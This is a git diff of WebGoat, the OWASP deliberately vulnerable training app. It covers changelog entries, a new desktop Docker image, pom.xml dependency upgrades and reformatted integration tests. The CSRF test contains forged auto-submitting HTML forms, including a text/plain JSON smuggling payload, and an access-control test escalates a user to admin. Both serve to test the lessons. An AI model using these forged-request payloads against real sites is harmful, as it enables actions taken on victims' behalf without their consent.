- [#1422 Add Docker Linux Desktop variant with all tools installed](https://github.com/WebGoat/WebGoat/issues/1422). Thanks to the [OWASP WrongSecrets project](https://owasp.org/www-project-wrongsecrets/) we now have a Docker Linux desktop image with all the tools installed. No need to install any tools locally only run the new Docker image. See README.md for details on how to start it.
|
||||||
|
- [#1411 JWT: looks that buy as Tom also works with alg:none](https://github.com/WebGoat/WebGoat/issues/1411).
|
||||||
|
|
||||||
|
### Bug fixes
|
||||||
|
|
||||||
|
- [#1410 WebWolf: JWT decode is broken](https://github.com/WebGoat/WebGoat/issues/1410).
|
||||||
|
- [#1396 password_reset return 500 Error](https://github.com/WebGoat/WebGoat/issues/1396).
|
||||||
|
- [#1379 Move XXE to A05:2021-Security Misconfiguration](https://github.com/WebGoat/WebGoat/issues/1379).
|
||||||
|
|
||||||
## Version 2023.3
|
## Version 2023.3
|
||||||
|
|
||||||
With great pleasure, we present you with a new release of WebGoat **2023.3**. Finally, it has been a while. This year starts with a new release of WebGoat. This year we will undoubtedly release more often. From this release on, we began to use a new versioning scheme (https://calver.org/#scheme).
|
With great pleasure, we present you with a new release of WebGoat **2023.3**. Finally, it has been a while. This year starts with a new release of WebGoat. This year we will undoubtedly release more often. From this release on, we began to use a new versioning scheme (https://calver.org/#scheme).
|
||||||
|
10
config/desktop/WebGoat.txt
Normal file
10
config/desktop/WebGoat.txt
Normal file
@ -0,0 +1,10 @@
|
|||||||
|
** Welcome to WebGoat desktop image
|
||||||
|
|
||||||
|
With this image you have WebGoat and ZAP and a browser available to you in a browser running on Ubuntu.
|
||||||
|
You can start WebGoat and ZAP by opening a terminal and type:
|
||||||
|
|
||||||
|
./start-webgoat.sh
|
||||||
|
./start_zap.sh
|
||||||
|
|
||||||
|
Happy hacking,
|
||||||
|
Team WebGoat
|
17
config/desktop/start_webgoat.sh
Normal file
17
config/desktop/start_webgoat.sh
Normal file
@ -0,0 +1,17 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
|
||||||
|
/config/jdk-17.0.6+10-jre/bin/java \
|
||||||
|
-Duser.home=/config \
|
||||||
|
-Dfile.encoding=UTF-8 \
|
||||||
|
-DTZ=Europe/Amsterdam \
|
||||||
|
--add-opens java.base/java.lang=ALL-UNNAMED \
|
||||||
|
--add-opens java.base/java.util=ALL-UNNAMED \
|
||||||
|
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
|
||||||
|
--add-opens java.base/java.text=ALL-UNNAMED \
|
||||||
|
--add-opens java.desktop/java.beans=ALL-UNNAMED \
|
||||||
|
--add-opens java.desktop/java.awt.font=ALL-UNNAMED \
|
||||||
|
--add-opens java.base/sun.nio.ch=ALL-UNNAMED \
|
||||||
|
--add-opens java.base/java.io=ALL-UNNAMED \
|
||||||
|
--add-opens java.base/java.util=ALL-UNNAMED \
|
||||||
|
-Drunning.in.docker=false \
|
||||||
|
-jar /config/webgoat.jar
|
3
config/desktop/start_zap.sh
Normal file
3
config/desktop/start_zap.sh
Normal file
@ -0,0 +1,3 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
|
||||||
|
/config/jdk-17.0.6+10-jre/bin/java -jar /config/ZAP_2.12.0/zap-2.12.0.jar
|
BIN
docs/images/webgoat.png
Normal file
BIN
docs/images/webgoat.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 319 KiB |
168
pom.xml
168
pom.xml
@ -1,16 +1,16 @@
|
|||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
|
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
|
||||||
|
|
||||||
<modelVersion>4.0.0</modelVersion>
|
<modelVersion>4.0.0</modelVersion>
|
||||||
|
|
||||||
<parent>
|
<parent>
|
||||||
<groupId>org.springframework.boot</groupId>
|
<groupId>org.springframework.boot</groupId>
|
||||||
<artifactId>spring-boot-starter-parent</artifactId>
|
<artifactId>spring-boot-starter-parent</artifactId>
|
||||||
<version>2.7.1</version>
|
<version>3.1.0</version>
|
||||||
</parent>
|
</parent>
|
||||||
|
|
||||||
<groupId>org.owasp.webgoat</groupId>
|
<groupId>org.owasp.webgoat</groupId>
|
||||||
<artifactId>webgoat</artifactId>
|
<artifactId>webgoat</artifactId>
|
||||||
<version>2023.3</version>
|
<version>2023.5-SNAPSHOT</version>
|
||||||
<packaging>jar</packaging>
|
<packaging>jar</packaging>
|
||||||
|
|
||||||
<name>WebGoat</name>
|
<name>WebGoat</name>
|
||||||
@ -27,6 +27,7 @@
|
|||||||
<url>https://www.gnu.org/licenses/gpl-2.0.txt</url>
|
<url>https://www.gnu.org/licenses/gpl-2.0.txt</url>
|
||||||
</license>
|
</license>
|
||||||
</licenses>
|
</licenses>
|
||||||
|
|
||||||
<developers>
|
<developers>
|
||||||
<developer>
|
<developer>
|
||||||
<id>mayhew64</id>
|
<id>mayhew64</id>
|
||||||
@ -94,7 +95,6 @@
|
|||||||
<archive>http://lists.owasp.org/pipermail/owasp-webgoat/</archive>
|
<archive>http://lists.owasp.org/pipermail/owasp-webgoat/</archive>
|
||||||
</mailingList>
|
</mailingList>
|
||||||
</mailingLists>
|
</mailingLists>
|
||||||
|
|
||||||
<scm>
|
<scm>
|
||||||
<connection>scm:git:git@github.com:WebGoat/WebGoat.git</connection>
|
<connection>scm:git:git@github.com:WebGoat/WebGoat.git</connection>
|
||||||
<developerConnection>scm:git:git@github.com:WebGoat/WebGoat.git</developerConnection>
|
<developerConnection>scm:git:git@github.com:WebGoat/WebGoat.git</developerConnection>
|
||||||
@ -108,44 +108,46 @@
|
|||||||
</issueManagement>
|
</issueManagement>
|
||||||
|
|
||||||
<properties>
|
<properties>
|
||||||
|
|
||||||
<!-- Shared properties with plugins and version numbers across submodules-->
|
<!-- Shared properties with plugins and version numbers across submodules-->
|
||||||
<asciidoctorj.version>2.5.3</asciidoctorj.version>
|
<asciidoctorj.version>2.5.10</asciidoctorj.version>
|
||||||
|
<!-- Upgrading needs UI work in WebWolf -->
|
||||||
<bootstrap.version>3.3.7</bootstrap.version>
|
<bootstrap.version>3.3.7</bootstrap.version>
|
||||||
<cglib.version>2.2</cglib.version>
|
<cglib.version>3.3.0</cglib.version>
|
||||||
<!-- do not update necessary for lesson -->
|
<!-- do not update necessary for lesson -->
|
||||||
<checkstyle.version>3.1.2</checkstyle.version>
|
<checkstyle.version>3.3.0</checkstyle.version>
|
||||||
<commons-collections.version>3.2.1</commons-collections.version>
|
<commons-collections.version>3.2.1</commons-collections.version>
|
||||||
<commons-io.version>2.6</commons-io.version>
|
<commons-io.version>2.11.0</commons-io.version>
|
||||||
<commons-lang3.version>3.12.0</commons-lang3.version>
|
<commons-lang3.version>3.12.0</commons-lang3.version>
|
||||||
<commons-text.version>1.9</commons-text.version>
|
<commons-text.version>1.10.0</commons-text.version>
|
||||||
<guava.version>30.1-jre</guava.version>
|
<guava.version>32.1.1-jre</guava.version>
|
||||||
|
<jacoco.version>0.8.10</jacoco.version>
|
||||||
<java.version>17</java.version>
|
<java.version>17</java.version>
|
||||||
|
<jaxb.version>2.3.1</jaxb.version>
|
||||||
<jjwt.version>0.9.1</jjwt.version>
|
<jjwt.version>0.9.1</jjwt.version>
|
||||||
<jose4j.version>0.7.6</jose4j.version>
|
<jose4j.version>0.9.3</jose4j.version>
|
||||||
<jquery.version>3.5.1</jquery.version>
|
<jquery.version>3.6.4</jquery.version>
|
||||||
<jsoup.version>1.14.3</jsoup.version>
|
<jsoup.version>1.16.1</jsoup.version>
|
||||||
<maven-compiler-plugin.version>3.8.0</maven-compiler-plugin.version>
|
<maven-compiler-plugin.version>3.8.0</maven-compiler-plugin.version>
|
||||||
<maven-failsafe-plugin.version>2.22.0</maven-failsafe-plugin.version>
|
<maven-failsafe-plugin.version>2.22.0</maven-failsafe-plugin.version>
|
||||||
<maven-jar-plugin.version>3.1.2</maven-jar-plugin.version>
|
<maven-jar-plugin.version>3.1.2</maven-jar-plugin.version>
|
||||||
<maven-javadoc-plugin.version>3.1.1</maven-javadoc-plugin.version>
|
<maven-javadoc-plugin.version>3.1.1</maven-javadoc-plugin.version>
|
||||||
<maven-source-plugin.version>3.1.0</maven-source-plugin.version>
|
<maven-source-plugin.version>3.1.0</maven-source-plugin.version>
|
||||||
<maven-surefire-plugin.version>3.0.0-M5</maven-surefire-plugin.version>
|
<maven-surefire-plugin.version>3.1.2</maven-surefire-plugin.version>
|
||||||
<maven.compiler.source>17</maven.compiler.source>
|
<maven.compiler.source>17</maven.compiler.source>
|
||||||
<maven.compiler.target>17</maven.compiler.target>
|
<maven.compiler.target>17</maven.compiler.target>
|
||||||
<pmd.version>3.15.0</pmd.version>
|
<pmd.version>3.15.0</pmd.version>
|
||||||
<!-- Use UTF-8 Encoding -->
|
<!-- Use UTF-8 Encoding -->
|
||||||
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
|
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
|
||||||
<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
|
<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
|
||||||
<thymeleaf.version>3.0.15.RELEASE</thymeleaf.version>
|
<thymeleaf.version>3.1.1.RELEASE</thymeleaf.version>
|
||||||
<webdriver.version>4.3.1</webdriver.version>
|
<webdriver.version>5.3.2</webdriver.version>
|
||||||
<webgoat.port>8080</webgoat.port>
|
<webgoat.port>8080</webgoat.port>
|
||||||
<webwolf.port>9090</webwolf.port>
|
<webwolf.port>9090</webwolf.port>
|
||||||
<wiremock.version>2.27.2</wiremock.version>
|
<wiremock.version>2.27.2</wiremock.version>
|
||||||
<xml-resolver.version>1.2</xml-resolver.version>
|
<xml-resolver.version>1.2</xml-resolver.version>
|
||||||
<xstream.version>1.4.5</xstream.version>
|
<xstream.version>1.4.5</xstream.version>
|
||||||
<!-- do not update necessary for lesson -->
|
<!-- do not update necessary for lesson -->
|
||||||
<zxcvbn.version>1.5.2</zxcvbn.version>
|
<zxcvbn.version>1.8.0</zxcvbn.version>
|
||||||
</properties>
|
</properties>
|
||||||
|
|
||||||
<dependencyManagement>
|
<dependencyManagement>
|
||||||
@ -154,7 +156,7 @@
|
|||||||
<dependency>
|
<dependency>
|
||||||
<groupId>org.ow2.asm</groupId>
|
<groupId>org.ow2.asm</groupId>
|
||||||
<artifactId>asm</artifactId>
|
<artifactId>asm</artifactId>
|
||||||
<version>9.1</version>
|
<version>9.5</version>
|
||||||
</dependency>
|
</dependency>
|
||||||
|
|
||||||
<dependency>
|
<dependency>
|
||||||
@ -241,16 +243,15 @@
|
|||||||
<dependency>
|
<dependency>
|
||||||
<groupId>org.apache.commons</groupId>
|
<groupId>org.apache.commons</groupId>
|
||||||
<artifactId>commons-compress</artifactId>
|
<artifactId>commons-compress</artifactId>
|
||||||
<version>1.21</version>
|
<version>1.23.0</version>
|
||||||
</dependency>
|
</dependency>
|
||||||
<dependency>
|
<dependency>
|
||||||
<groupId>org.jruby</groupId>
|
<groupId>org.jruby</groupId>
|
||||||
<artifactId>jruby</artifactId>
|
<artifactId>jruby</artifactId>
|
||||||
<version>9.3.6.0</version>
|
<version>9.4.2.0</version>
|
||||||
</dependency>
|
</dependency>
|
||||||
</dependencies>
|
</dependencies>
|
||||||
</dependencyManagement>
|
</dependencyManagement>
|
||||||
|
|
||||||
<dependencies>
|
<dependencies>
|
||||||
<dependency>
|
<dependency>
|
||||||
<groupId>org.apache.commons</groupId>
|
<groupId>org.apache.commons</groupId>
|
||||||
@ -269,6 +270,7 @@
|
|||||||
<dependency>
|
<dependency>
|
||||||
<groupId>javax.xml.bind</groupId>
|
<groupId>javax.xml.bind</groupId>
|
||||||
<artifactId>jaxb-api</artifactId>
|
<artifactId>jaxb-api</artifactId>
|
||||||
|
<version>${jaxb.version}</version>
|
||||||
</dependency>
|
</dependency>
|
||||||
<dependency>
|
<dependency>
|
||||||
<groupId>org.springframework.boot</groupId>
|
<groupId>org.springframework.boot</groupId>
|
||||||
@ -310,7 +312,11 @@
|
|||||||
</dependency>
|
</dependency>
|
||||||
<dependency>
|
<dependency>
|
||||||
<groupId>org.thymeleaf.extras</groupId>
|
<groupId>org.thymeleaf.extras</groupId>
|
||||||
<artifactId>thymeleaf-extras-springsecurity5</artifactId>
|
<artifactId>thymeleaf-extras-springsecurity6</artifactId>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>jakarta.servlet</groupId>
|
||||||
|
<artifactId>jakarta.servlet-api</artifactId>
|
||||||
</dependency>
|
</dependency>
|
||||||
<dependency>
|
<dependency>
|
||||||
<groupId>org.hsqldb</groupId>
|
<groupId>org.hsqldb</groupId>
|
||||||
@ -369,8 +375,13 @@
|
|||||||
<artifactId>jquery</artifactId>
|
<artifactId>jquery</artifactId>
|
||||||
</dependency>
|
</dependency>
|
||||||
<dependency>
|
<dependency>
|
||||||
<groupId>org.glassfish.jaxb</groupId>
|
<groupId>jakarta.xml.bind</groupId>
|
||||||
<artifactId>jaxb-runtime</artifactId>
|
<artifactId>jakarta.xml.bind-api</artifactId>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>com.sun.xml.bind</groupId>
|
||||||
|
<artifactId>jaxb-impl</artifactId>
|
||||||
|
<scope>runtime</scope>
|
||||||
</dependency>
|
</dependency>
|
||||||
|
|
||||||
<dependency>
|
<dependency>
|
||||||
@ -386,6 +397,7 @@
|
|||||||
<dependency>
|
<dependency>
|
||||||
<groupId>com.github.tomakehurst</groupId>
|
<groupId>com.github.tomakehurst</groupId>
|
||||||
<artifactId>wiremock</artifactId>
|
<artifactId>wiremock</artifactId>
|
||||||
|
<version>3.0.0-beta-2</version>
|
||||||
<scope>test</scope>
|
<scope>test</scope>
|
||||||
</dependency>
|
</dependency>
|
||||||
<dependency>
|
<dependency>
|
||||||
@ -393,6 +405,11 @@
|
|||||||
<artifactId>rest-assured</artifactId>
|
<artifactId>rest-assured</artifactId>
|
||||||
<scope>test</scope>
|
<scope>test</scope>
|
||||||
</dependency>
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.springframework.boot</groupId>
|
||||||
|
<artifactId>spring-boot-properties-migrator</artifactId>
|
||||||
|
<scope>runtime</scope>
|
||||||
|
</dependency>
|
||||||
</dependencies>
|
</dependencies>
|
||||||
|
|
||||||
<repositories>
|
<repositories>
|
||||||
@ -490,7 +507,8 @@
|
|||||||
<argLine>--add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED
|
<argLine>--add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED
|
||||||
--add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED
|
--add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED
|
||||||
--add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED
|
--add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED
|
||||||
--add-opens java.base/java.text=ALL-UNNAMED --add-opens java.desktop/java.awt.font=ALL-UNNAMED</argLine>
|
--add-opens java.base/java.text=ALL-UNNAMED --add-opens java.desktop/java.awt.font=ALL-UNNAMED
|
||||||
|
--add-opens=java.base/sun.nio.ch=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED</argLine>
|
||||||
<excludes>
|
<excludes>
|
||||||
<exclude>**/*IntegrationTest.java</exclude>
|
<exclude>**/*IntegrationTest.java</exclude>
|
||||||
<exclude>src/it/java</exclude>
|
<exclude>src/it/java</exclude>
|
||||||
@ -514,7 +532,7 @@
|
|||||||
<plugin>
|
<plugin>
|
||||||
<groupId>com.diffplug.spotless</groupId>
|
<groupId>com.diffplug.spotless</groupId>
|
||||||
<artifactId>spotless-maven-plugin</artifactId>
|
<artifactId>spotless-maven-plugin</artifactId>
|
||||||
<version>2.29.0</version>
|
<version>2.38.0</version>
|
||||||
<configuration>
|
<configuration>
|
||||||
<formats>
|
<formats>
|
||||||
<format>
|
<format>
|
||||||
@ -536,6 +554,11 @@
|
|||||||
<flexmark></flexmark>
|
<flexmark></flexmark>
|
||||||
</markdown>
|
</markdown>
|
||||||
<java>
|
<java>
|
||||||
|
<includes>
|
||||||
|
<include>src/main/java/**/*.java</include>
|
||||||
|
<include>src/test/java/**/*.java</include>
|
||||||
|
<include>src/it/java/**/*.java</include>
|
||||||
|
</includes>
|
||||||
<removeUnusedImports></removeUnusedImports>
|
<removeUnusedImports></removeUnusedImports>
|
||||||
<googleJavaFormat>
|
<googleJavaFormat>
|
||||||
<style>GOOGLE</style>
|
<style>GOOGLE</style>
|
||||||
@ -570,7 +593,7 @@
|
|||||||
<plugin>
|
<plugin>
|
||||||
<groupId>org.apache.maven.plugins</groupId>
|
<groupId>org.apache.maven.plugins</groupId>
|
||||||
<artifactId>maven-enforcer-plugin</artifactId>
|
<artifactId>maven-enforcer-plugin</artifactId>
|
||||||
<version>3.0.0</version>
|
<version>3.3.0</version>
|
||||||
<executions>
|
<executions>
|
||||||
<execution>
|
<execution>
|
||||||
<id>restrict-log4j-versions</id>
|
<id>restrict-log4j-versions</id>
|
||||||
@ -650,8 +673,9 @@
|
|||||||
<argument>java</argument>
|
<argument>java</argument>
|
||||||
<argument>-jar</argument>
|
<argument>-jar</argument>
|
||||||
<argument>-Dlogging.pattern.console=</argument>
|
<argument>-Dlogging.pattern.console=</argument>
|
||||||
|
<argument>-Dwebgoat.server.directory=${java.io.tmpdir}/webgoat_${webgoat.port}</argument>
|
||||||
|
<argument>-Dwebgoat.user.directory=${java.io.tmpdir}/webgoat_${webgoat.port}</argument>
|
||||||
<argument>-Dspring.main.banner-mode=off</argument>
|
<argument>-Dspring.main.banner-mode=off</argument>
|
||||||
<argument>-Dspring.datasource.url=jdbc:hsqldb:file:${java.io.tmpdir}/webgoat</argument>
|
|
||||||
<argument>-Dwebgoat.port=${webgoat.port}</argument>
|
<argument>-Dwebgoat.port=${webgoat.port}</argument>
|
||||||
<argument>-Dwebwolf.port=${webwolf.port}</argument>
|
<argument>-Dwebwolf.port=${webwolf.port}</argument>
|
||||||
<argument>--add-opens</argument>
|
<argument>--add-opens</argument>
|
||||||
@ -672,10 +696,14 @@
|
|||||||
<argument>java.base/java.io=ALL-UNNAMED</argument>
|
<argument>java.base/java.io=ALL-UNNAMED</argument>
|
||||||
<argument>--add-opens</argument>
|
<argument>--add-opens</argument>
|
||||||
<argument>java.base/java.util=ALL-UNNAMED</argument>
|
<argument>java.base/java.util=ALL-UNNAMED</argument>
|
||||||
|
<argument>--add-opens</argument>
|
||||||
|
<argument>java.base/sun.nio.ch=ALL-UNNAMED</argument>
|
||||||
|
<argument>--add-opens</argument>
|
||||||
|
<argument>java.base/java.io=ALL-UNNAMED</argument>
|
||||||
<argument>${project.build.directory}/webgoat-${project.version}.jar</argument>
|
<argument>${project.build.directory}/webgoat-${project.version}.jar</argument>
|
||||||
</arguments>
|
</arguments>
|
||||||
<waitForInterrupt>false</waitForInterrupt>
|
<waitForInterrupt>false</waitForInterrupt>
|
||||||
<healthcheckUrl>http://localhost:${webgoat.port}/WebGoat/</healthcheckUrl>
|
<healthcheckUrl>http://localhost:${webgoat.port}/WebGoat/actuator/health</healthcheckUrl>
|
||||||
</configuration>
|
</configuration>
|
||||||
</execution>
|
</execution>
|
||||||
<execution>
|
<execution>
|
||||||
@ -721,6 +749,82 @@
|
|||||||
</plugins>
|
</plugins>
|
||||||
</build>
|
</build>
|
||||||
</profile>
|
</profile>
|
||||||
|
<profile>
|
||||||
|
<!-- run with: mvn test -Pcoverage -->
|
||||||
|
<id>coverage</id>
|
||||||
|
<activation>
|
||||||
|
<activeByDefault>false</activeByDefault>
|
||||||
|
</activation>
|
||||||
|
<build>
|
||||||
|
<plugins>
|
||||||
|
<plugin>
|
||||||
|
<groupId>org.apache.maven.plugins</groupId>
|
||||||
|
<artifactId>maven-surefire-plugin</artifactId>
|
||||||
|
<version>${maven-surefire-plugin.version}</version>
|
||||||
|
<configuration>
|
||||||
|
<argLine>--add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED
|
||||||
|
--add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED
|
||||||
|
--add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED
|
||||||
|
--add-opens java.base/java.text=ALL-UNNAMED --add-opens java.desktop/java.awt.font=ALL-UNNAMED
|
||||||
|
${surefire.jacoco.args}</argLine>
|
||||||
|
<excludes>
|
||||||
|
<exclude>**/*IntegrationTest.java</exclude>
|
||||||
|
<exclude>src/it/java</exclude>
|
||||||
|
<exclude>org/owasp/webgoat/*Test</exclude>
|
||||||
|
</excludes>
|
||||||
|
</configuration>
|
||||||
|
</plugin>
|
||||||
|
<plugin>
|
||||||
|
<groupId>org.jacoco</groupId>
|
||||||
|
<artifactId>jacoco-maven-plugin</artifactId>
|
||||||
|
<version>${jacoco.version}</version>
|
||||||
|
<executions>
|
||||||
|
<execution>
|
||||||
|
<id>before-unit-test</id>
|
||||||
|
<goals>
|
||||||
|
<goal>prepare-agent</goal>
|
||||||
|
</goals>
|
||||||
|
<configuration>
|
||||||
|
<destFile>${project.build.directory}/jacoco/jacoco-ut.exec</destFile>
|
||||||
|
<propertyName>surefire.jacoco.args</propertyName>
|
||||||
|
</configuration>
|
||||||
|
</execution>
|
||||||
|
<execution>
|
||||||
|
<id>check</id>
|
||||||
|
<goals>
|
||||||
|
<goal>check</goal>
|
||||||
|
</goals>
|
||||||
|
<configuration>
|
||||||
|
<rules>
|
||||||
|
<rule>
|
||||||
|
<element>BUNDLE</element>
|
||||||
|
<limits>
|
||||||
|
<limit>
|
||||||
|
<counter>CLASS</counter>
|
||||||
|
<value>COVEREDCOUNT</value>
|
||||||
|
<minimum>0.6</minimum>
|
||||||
|
</limit>
|
||||||
|
</limits>
|
||||||
|
</rule>
|
||||||
|
</rules>
|
||||||
|
<dataFile>${project.build.directory}/jacoco/jacoco-ut.exec</dataFile>
|
||||||
|
</configuration>
|
||||||
|
</execution>
|
||||||
|
<execution>
|
||||||
|
<id>after-unit-test</id>
|
||||||
|
<goals>
|
||||||
|
<goal>report</goal>
|
||||||
|
</goals>
|
||||||
|
<phase>test</phase>
|
||||||
|
<configuration>
|
||||||
|
<dataFile>${project.build.directory}/jacoco/jacoco-ut.exec</dataFile>
|
||||||
|
<outputDirectory>${project.reporting.outputDirectory}/jacoco-unit-test-coverage-report</outputDirectory>
|
||||||
|
</configuration>
|
||||||
|
</execution>
|
||||||
|
</executions>
|
||||||
|
</plugin>
|
||||||
|
</plugins>
|
||||||
|
</build>
|
||||||
|
</profile>
|
||||||
</profiles>
|
</profiles>
|
||||||
|
|
||||||
</project>
|
</project>
|
||||||
|
@ -1,13 +1,11 @@
|
|||||||
package org.owasp.webgoat;
|
package org.owasp.webgoat;
|
||||||
|
|
||||||
|
|
||||||
import io.restassured.RestAssured;
|
import io.restassured.RestAssured;
|
||||||
import io.restassured.http.ContentType;
|
import io.restassured.http.ContentType;
|
||||||
|
import java.util.Map;
|
||||||
import org.apache.http.HttpStatus;
|
import org.apache.http.HttpStatus;
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
class AccessControlIntegrationTest extends IntegrationTest {
|
class AccessControlIntegrationTest extends IntegrationTest {
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
@ -32,7 +30,8 @@ class AccessControlIntegrationTest extends IntegrationTest {
|
|||||||
.statusCode(HttpStatus.SC_FORBIDDEN);
|
.statusCode(HttpStatus.SC_FORBIDDEN);
|
||||||
|
|
||||||
// create user
|
// create user
|
||||||
var userTemplate = """
|
var userTemplate =
|
||||||
|
"""
|
||||||
{"username":"%s","password":"%s","admin": "true"}
|
{"username":"%s","password":"%s","admin": "true"}
|
||||||
""";
|
""";
|
||||||
RestAssured.given()
|
RestAssured.given()
|
||||||
@ -59,7 +58,8 @@ class AccessControlIntegrationTest extends IntegrationTest {
|
|||||||
.jsonPath()
|
.jsonPath()
|
||||||
.get("find { it.username == \"Jerry\" }.userHash");
|
.get("find { it.username == \"Jerry\" }.userHash");
|
||||||
|
|
||||||
checkAssignment(url("/WebGoat/access-control/user-hash-fix"), Map.of("userHash", userHash), true);
|
checkAssignment(
|
||||||
|
url("/WebGoat/access-control/user-hash-fix"), Map.of("userHash", userHash), true);
|
||||||
}
|
}
|
||||||
|
|
||||||
private void assignment2() {
|
private void assignment2() {
|
||||||
|
@ -1,8 +1,18 @@
|
|||||||
package org.owasp.webgoat;
|
package org.owasp.webgoat;
|
||||||
|
|
||||||
|
import static org.assertj.core.api.Assertions.assertThat;
|
||||||
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
|
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
|
||||||
|
|
||||||
import io.restassured.RestAssured;
|
import io.restassured.RestAssured;
|
||||||
import io.restassured.http.ContentType;
|
import io.restassured.http.ContentType;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.nio.file.Files;
|
||||||
|
import java.nio.file.Path;
|
||||||
|
import java.nio.file.Paths;
|
||||||
|
import java.util.Arrays;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
import lombok.Data;
|
import lombok.Data;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import org.junit.jupiter.api.AfterEach;
|
import org.junit.jupiter.api.AfterEach;
|
||||||
@ -11,45 +21,41 @@ import org.junit.jupiter.api.DynamicTest;
|
|||||||
import org.junit.jupiter.api.TestFactory;
|
import org.junit.jupiter.api.TestFactory;
|
||||||
import org.owasp.webgoat.container.lessons.Assignment;
|
import org.owasp.webgoat.container.lessons.Assignment;
|
||||||
|
|
||||||
import java.io.IOException;
|
|
||||||
import java.nio.file.Files;
|
|
||||||
import java.nio.file.Path;
|
|
||||||
import java.nio.file.Paths;
|
|
||||||
import java.util.Arrays;
|
|
||||||
import java.util.HashMap;
|
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
import static org.assertj.core.api.Assertions.assertThat;
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
|
||||||
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
|
|
||||||
|
|
||||||
public class CSRFIntegrationTest extends IntegrationTest {
|
public class CSRFIntegrationTest extends IntegrationTest {
|
||||||
|
|
||||||
private static final String trickHTML3 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n" +
|
private static final String trickHTML3 =
|
||||||
"<input type=\"hidden\" name=\"csrf\" value=\"thisisnotchecked\"/>\n" +
|
"<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
|
||||||
"<input type=\"submit\" name=\"submit\" value=\"assignment 3\"/>\n" +
|
+ "<input type=\"hidden\" name=\"csrf\" value=\"thisisnotchecked\"/>\n"
|
||||||
"</form></body></html>";
|
+ "<input type=\"submit\" name=\"submit\" value=\"assignment 3\"/>\n"
|
||||||
|
+ "</form></body></html>";
|
||||||
|
|
||||||
private static final String trickHTML4 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n" +
|
private static final String trickHTML4 =
|
||||||
"<input type=\"hidden\" name=\"reviewText\" value=\"hoi\"/>\n" +
|
"<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
|
||||||
"<input type=\"hidden\" name=\"starts\" value=\"3\"/>\n" +
|
+ "<input type=\"hidden\" name=\"reviewText\" value=\"hoi\"/>\n"
|
||||||
"<input type=\"hidden\" name=\"validateReq\" value=\"2aa14227b9a13d0bede0388a7fba9aa9\"/>\n" +
|
+ "<input type=\"hidden\" name=\"starts\" value=\"3\"/>\n"
|
||||||
"<input type=\"submit\" name=\"submit\" value=\"assignment 4\"/>\n" +
|
+ "<input type=\"hidden\" name=\"validateReq\""
|
||||||
"</form>\n" +
|
+ " value=\"2aa14227b9a13d0bede0388a7fba9aa9\"/>\n"
|
||||||
"</body></html>";
|
+ "<input type=\"submit\" name=\"submit\" value=\"assignment 4\"/>\n"
|
||||||
|
+ "</form>\n"
|
||||||
|
+ "</body></html>";
|
||||||
|
|
||||||
private static final String trickHTML7 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" enctype='text/plain' method=\"POST\">\n" +
|
private static final String trickHTML7 =
|
||||||
"<input type=\"hidden\" name='{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!' value='\"}' />\n" +
|
"<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" enctype='text/plain'"
|
||||||
"<input type=\"submit\" value=\"assignment 7\"/>\n" +
|
+ " method=\"POST\">\n"
|
||||||
"</form></body></html>";
|
+ "<input type=\"hidden\""
|
||||||
|
+ " name='{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat"
|
||||||
|
+ " is the best!!' value='\"}' />\n"
|
||||||
|
+ "<input type=\"submit\" value=\"assignment 7\"/>\n"
|
||||||
|
+ "</form></body></html>";
